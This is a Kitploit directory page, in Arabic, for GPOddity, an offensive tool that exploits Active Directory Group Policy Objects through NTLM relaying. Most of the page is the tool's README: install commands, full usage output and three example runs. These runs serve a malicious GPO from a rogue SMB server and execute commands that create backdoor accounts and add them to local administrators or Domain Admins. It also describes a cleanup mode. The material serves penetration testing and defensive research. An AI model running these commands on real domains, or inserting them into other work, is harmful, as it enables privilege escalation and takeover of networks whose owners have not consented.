Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
GPOddity — يقوم بأتمتة استغلال نهج المجموعة (GPO) في Active Directory عبر إعادة توجيه NTLM، مما يتيح إنشاء قوالب GPO ضارة، وتزييف الموقع، وتنفيذ الأوامر من أجل تصعيد الامتيازات والحركة الجانبية. | Kitploit
أدوات/GitHubGitHub/synacktiv/gpoddity
الاستغلالما بعد الاستغلالاختبار الاختراق
GitHubsynacktiv/gpoddity

GPOddity

يقوم بأتمتة استغلال نهج المجموعة (GPO) في Active Directory عبر إعادة توجيه NTLM، مما يتيح إنشاء قوالب GPO ضارة، وتزييف الموقع، وتنفيذ الأوامر من أجل تصعيد الامتيازات والحركة الجانبية.

عرض المستودع
37330منذ 8 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

GPOddity

مشروع GPOddity، يهدف إلى أتمتة متجهات هجوم GPO عبر ترحيل NTLM (وغير ذلك).

لمزيد من التفاصيل حول الهجوم وعرض توضيحي لاستخدام الأداة، راجع المقالة المرتبطة المتاحة على: https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more

التثبيت

Pipx

يمكنك تثبيت GPOddity عبر pipx باستخدام الأمر التالي:

root@kitploit:~
$ python3 -m pipx install git+https://github.com/synacktiv/GPOddity

يدوي

بدلاً من ذلك، يمكنك تثبيت GPOddity يدويًا عن طريق استنساخ المستودع وتثبيت التبعيات:

root@kitploit:~
$ git clone https://github.com/synacktiv/GPOddity
$ python3 -m pip install -r requirements.txt

الاستخدام

root@kitploit:~
$ python3 gpoddity.py --help
                                                                                                                                                                                                
 Usage: gpoddity.py [OPTIONS]                                                                                                                                                                   
                                                                                                                                                                                                
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --help          Show this message and exit.                                                                                                                                                  │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ General options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --domain            TEXT  The target domain [default: None] [required]                                                                                                                    │
│ *  --gpo-id            TEXT  The GPO object GUID without enclosing brackets (for instance, '1328149E-EF37-4E07-AC9E-E35920AD2F59') [default: None] [required]                                │
│ *  --username          TEXT  The username of the user having write permissions on the GPO AD object. This may be a machine account (for instance, 'SRV01$') [default: None] [required]       │
│    --password          TEXT  The password of the user having write permissions on the GPO AD object [default: None]                                                                          │
│    --hash              TEXT  The NTLM hash of the user having write permissions on the GPO AD object, with the format 'LM:NT' [default: None]                                                │
│    --dc-ip             TEXT  [Optional] The IP of the domain controller if the domain name can not be resolved. [default: None]                                                              │
│    --ldaps                   [Optional] Use LDAPS on port 636 instead of LDAP                                                                                                                │
│    --verbose                 [Optional] Enable verbose output                                                                                                                                │
│    --just-clean              [Optional] Only perform cleaning action from the values specified in the file of the --clean-file flag. May be useful to clean up in case of incomplete         │
│                              exploitation or ungraceful exit                                                                                                                                 │
│    --clean-file        TEXT  [Optional] The file from the 'cleaning/' folder containing the values to restore when using --just-clean flag. Relative path from GPOddity install folder, or   │
│                              absolute path                                                                                                                                                   │
│                              [default: None]                                                                                                                                                 │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Malicious Group Policy Template generation options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --command           TEXT             The command that should be executed through the malicious GPO [default: None]                                                                           │
│ --powershell                         [Optional] Use powershell instead of cmd for command execution                                                                                          │
│ --gpo-type          [user|computer]  [Optional] The type of GPO that we are targeting. Can either be 'user' or 'computer' [default: computer]                                                │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Group Policy Template location spoofing options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --rogue-smbserver-ip           TEXT  The IP address or DNS name of the server that will host the spoofed malicious GPO. If using the GPOddity smb server, this should be the IP address of   │
│                                      the current host on the internal network (for instance, 192.168.58.101)                                                                                 │
│                                      [default: None]                                                                                                                                         │
│ --rogue-smbserver-share        TEXT  The name of the share that will serve the spoofed malicious GPO (for instance, 'synacktiv'). If you are running the embedded SMB server, do NOT provide │
│                                      names including 'SYSVOL' or 'NETLOGON' (protected by UNC path hardening by default)                                                                     │
│                                      [default: None]                                                                                                                                         │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ SMB server options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --machine-name        TEXT                       [Optional] The name of a valid domain machine account, that will be used to perform Netlogon authentication (for instance, SRV01$). If      │
│                                                  omitted, will use the user specified with the --username option, and assume that it is a valid machine account                              │
│                                                  [default: None]                                                                                                                             │
│ --machine-pass        TEXT                       [Optional] The password of the machine account if specified with --machine-name [default: None]                                             │
│ --machine-hash        TEXT                       [Optional] The NTLM hash of the machine account if specified with --machine-name, with the format 'LM:NT' [default: None]                   │
│ --comment             TEXT                       [Optional] Share's comment to display when asked for shares [default: None]                                                                 │
│ --interface           TEXT                       [Optional] The interface on which the GPOddity smb server should listen [default: 0.0.0.0]                                                  │
│ --port                TEXT                       [Optional] The port on which the GPOddity smb server should listen [default: 445]                                                           │
│ --smb-mode            [embedded|forwarded|none]  [Optional] 'Embedded' SMB server will host an SMB server on this machine. 'Forwarded' will forward SMB traffic to a fake Domain Controller  │
│                                                  (requires a machine account associated with a DNS record pointing to the attacker machine. Generated GPT should be uploaded on the fake     │
│                                                  DC). 'None' will not host any SMB server (generated GPT should be uploaded on a writable SMB share in the domain)                           │
│                                                  [default: embedded]                                                                                                                         │
│ --empty-gpo                                      [Optional] By default, GPOddity will clone the target GPO and add a malicious immediate task. If this flag is specified, an empty GPO will  │
│                                                  be used instead of a clone of the legitimate one (can be useful for some edge cases in which immediate tasks will not integrate well with   │
│                                                  existing GPOs)                                                                                                                              │
│ --attacker-ip         TEXT                       [Optional] The IP of the attacker machine in the internal network (required for smb-mode 'forwarded')                                       │
│ --forwarded-ip        TEXT                       [Optional] The IP of the fake DC to which SMB traffic will be forwarded (required for smb-mode 'forwarded')                                 │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

أمثلة

فيما يلي بعض أوامر الأمثلة المأخوذة من المقالة المرتبطة أعلاه.

استغلال GPO جهاز كمبيوتر لإضافة مسؤول محلي. وضع SMB هو 'مدمج': سيقوم GPOddity باستضافة GPT على خادم SMB المدمج الخاص به.

root@kitploit:~
$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' \
--rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv'

استغلال GPO مستخدم لإضافة مسؤول محلي. وضع SMB هو 'لا شيء': سيقوم GPOddity بإنشاء GPT الخبيث، وسيتعين عليك بعد ذلك تحميله إلى مشاركة مجال قابلة للكتابة.

root@kitploit:~
$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --smb-mode 'none' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' \
 --rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv'

استغلال GPO مستخدم لإضافة مسؤول محلي. وضع SMB هو 'موجه': سيتعين عليك إضافة سجل DNS يشير إلى جهاز GPOddity، مرتبط بحساب جهاز. ستحتاج إلى تقديم عنوان IP لوحدة تحكم مجال وهمية تتم مزامنة كلمة مرورها مع حساب الجهاز، وتحميل GPT الخبيث إلى تلك الوحدة الوهمية. لمزيد من المعلومات حول هذا الوضع، راجع محادثتي في Black Alps 2024 (متاحة قريبًا).

root@kitploit:~
$ python3 gpoddity.py --gpo-id 'B12968FB-EEEE-404A-A583-101A2E249BF9' --domain 'corp.com' --username 'lowpriv' \
--password '[...]' --command 'whoami > C:\poc_forwarded.txt' --gpo-type 'user' --rogue-smbserver-ip 'gpoddity.corp.com' \
--rogue-smbserver-share 'synacktiv' --smb-mode 'forwarded' --attacker-ip '192.168.123.16' --forwarded-ip '192.168.125.245'

حول التنظيف

تكمن إحدى مزايا استخدام GPOddity في إمكانية استغلال GPOs بأمان، دون تغيير ملفات GPT المشروعة، مما يقلل من مخاطر الاضطراب في بيئات الإنتاج. ومع ذلك، لا يزال GPOddity بحاجة إلى تعديل بعض سمات ملفات حاوية سياسة المجموعة من أجل انتحال موقع GPT مؤقتًا. نتيجة لذلك، ضمان بقاء بيئة الإنتاج وظيفية يفترض التراجع عن تلك التغييرات بعد الاستغلال.

افتراضيًا وكما هو موضح في المقالة، سيقوم GPOddity بذلك نيابة عنك عن طريق التراجع عن أي تغيير تم إجراؤه على GPC في نهاية الاستغلال، عندما يقطع المستخدم البرنامج باستخدام CTRL+C. نتيجة لذلك، في الظروف العادية، لا تحتاج إلى فعل أي شيء لضمان تنظيف كل شيء.

ومع ذلك، إذا لم تتمكن لسبب ما من الخروج من GPOddity بشكل أنيق عبر CTRL+C (تم إنهاء العملية، فقدان اتصال الشبكة، إلخ)، يمكنك تشغيل GPOddity مع العلامة '--just-clean' لتنفيذ إجراءات التنظيف بشكل مستقل.

تعمل هذه الميزة بالطريقة التالية. في كل مرة يتم تشغيل GPOddity، سيتم حفظ الحالة الأولية لـ GPO في ملف تحت المسار cleaning/[GPO ID]/[timestamp].txt. يمكنك بعد ذلك استعادة جميع القيم الموجودة في ملف الحفظ هذا عبر العلامة '--just-clean'. على سبيل المثال، افترض أنك تريد استعادة جميع سمات GPO بالمعرف '46993522-7D77-4B59-9B77-F82082DE9D81' إلى قيمها قبل تشغيل GPOddity في 14 أكتوبر 2023 الساعة 08:08:44. يمكنك تشغيل الأمر التالي:

root@kitploit:~
$ python3 gpoddity.py --just-clean --domain 'corp.com' --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --username 'GPODDITY$' --password '[...]' --clean-file cleaning/46993522-7D77-4B59-9B77-F82082DE9D81/2023_10_14-08_08_44.txt

عرض فيديو

GPOddity

تنزيل الأداة